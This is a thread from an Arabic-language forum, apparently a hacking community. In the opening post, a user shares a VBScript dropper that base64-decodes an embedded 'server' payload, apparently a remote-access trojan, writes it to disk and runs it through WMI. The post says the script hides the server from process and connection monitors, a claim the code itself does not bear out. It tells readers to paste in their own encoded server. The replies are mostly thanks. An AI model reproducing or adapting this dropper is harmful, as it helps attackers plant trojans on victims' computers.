حالة الموضوع:
مغلق
  1. Joker Hexore

    Joker Hexore Developer

    الأنتساب:
    ‏29 يناير 2015
    المشاركات:
    158
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    [​IMG]
    ------------------------------
    اليوم اقدم لكم سكربت اخفاء سيرفر من بروسس +برامج الاتصال على
    نواتين 32,64

    [​IMG]
    كود:
    [RIGHT][COLOR=#141823][FONT=lucida grande]AppPath = "مسار نزول السيرفر"[/FONT][/COLOR][/RIGHT][/CENTER]
    [RIGHT][COLOR=#141823][FONT=lucida grande]StrBase64 = Base64Decode("القيم هنااااااااااااا")
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set objFile = fso.CreateTextFile(AppPath,True)
    objFile.Write StrBase64
    objFile.Close[/FONT][/COLOR]
    [COLOR=#141823][FONT=lucida grande]Const SW_NORMAL = 1
    strComputer = "."
    Dim fso
    Set fso = CreateObject("Scripting.FileSystemObject")
    strCommand = AppPath
    Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & strComputer & "\root\cimv2")[/FONT][/COLOR]
    [COLOR=#141823][FONT=lucida grande]Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = SW_NORMAL[/FONT][/COLOR]
    [COLOR=#141823][FONT=lucida grande]Set objProcess = objWMIService.Get("Win32_Process")
    intReturn = objProcess.Create _
    (strCommand, Null, objConfig, intProcessID)[/FONT][/COLOR]
    [COLOR=#141823][FONT=lucida grande]Function Base64Decode(ByVal base64String)
    Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    Dim dataLength, sOut, groupBegin
    dataLength = Len(base64String)
    For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    numDataBytes = 3
    nGroup = 0
    For CharCounter = 0 To 3
    thisChar = Mid(base64String, groupBegin + CharCounter, 1)
    If thisChar = "=" Then
    numDataBytes = numDataBytes - 1
    thisData = 0
    Else
    thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
    End If
    nGroup = 64 * nGroup + thisData
    Next
    nGroup = Hex(nGroup)
    nGroup = String(6 - Len(nGroup), "0") & nGroup
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2)))
    sOut = sOut & Left(pOut, numDataBytes)
    Next[/FONT][/COLOR]
    [COLOR=#141823][FONT=lucida grande]Base64Decode = sOut
    [/FONT][/COLOR][/RIGHT]
    [CENTER][RIGHT][COLOR=#141823][FONT=lucida grande]End Function[/FONT][/COLOR][/RIGHT]
    طبعا الكود واظح ميحتاج شرح
    مجرد حول سيرفرك ل خوارزميه64 وحطه بالكود و بدايه السكربت مسار النزول تكدر اتغيره

    [​IMG]
    [​IMG]

     
  2. سكيورتي ارهابي

    سكيورتي ارهابي ExpErt DeveloPer

    الأنتساب:
    ‏1 سبتمبر 2014
    المشاركات:
    691
    الإعجابات المتلقاة:
    43
    نقاط الجائزة:
    28
    الوظيفة:
    ماكسي مول
    الإقامة:
    دوله العراق العظيم
    رد: كود برمجي ساحر اكثر من رائع

    وعليكم السلام


    بارك الله بيك حبيبي


    ولكن الموضوع يحتاج الى


    تنسيق​
     
  3. rebih

    rebih Developer

    الأنتساب:
    ‏11 مايو 2014
    المشاركات:
    86
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    رد: كود برمجي ساحر اكثر من رائع

    [​IMG]
     
  4. MiSs_pRobLeM

    MiSs_pRobLeM Developer

    الأنتساب:
    ‏1 مايو 2015
    المشاركات:
    18
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    3
    الإقامة:
    iRaQ
    رد: كود برمجي ساحر اكثر من رائع

    بارك الله فيك
     
  5. mojRm

    mojRm New Developer

    الأنتساب:
    ‏30 يوليو 2015
    المشاركات:
    5
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    رد: كود برمجي ساحر اكثر من رائع

    يأغالي ممكن شرح بسيط ولله مافهمته {3$0}
     
  6. Ahmad Ayad

    Ahmad Ayad New Developer

    الأنتساب:
    ‏13 أغسطس 2015
    المشاركات:
    5
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    رد: كود برمجي ساحر اكثر من رائع

    بطل عاشت ايدك
     
  7. محمد العوادي

    محمد العوادي Developer

    الأنتساب:
    ‏31 يوليو 2015
    المشاركات:
    202
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    18
    رد: كود برمجي ساحر اكثر من رائع

    سلمت اناملك يابطل

    موضوع ذهبي


    واصل بهكذا مواضيع :ُeُek:


    ان شاء الله دوما بالمقدمه
    {1!9}
     
  8. Joker Hexore

    Joker Hexore Developer

    الأنتساب:
    ‏29 يناير 2015
    المشاركات:
    158
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    رد: كود برمجي ساحر اكثر من رائع

    شكرت عل مرورك بالنسبه للتنسيق اخطئت فيه ونشر الموضوع ونطفت الكهرباء هههه والتعديل البرنامج بعد تجاوز 7 دقيقه لا يمكن التعديل عليه​
     
  9. Joker Hexore

    Joker Hexore Developer

    الأنتساب:
    ‏29 يناير 2015
    المشاركات:
    158
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    رد: كود برمجي ساحر اكثر من رائع

    وبيك حبيبي​
     
  10. Joker Hexore

    Joker Hexore Developer

    الأنتساب:
    ‏29 يناير 2015
    المشاركات:
    158
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    رد: كود برمجي ساحر اكثر من رائع

    {1!$7}
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة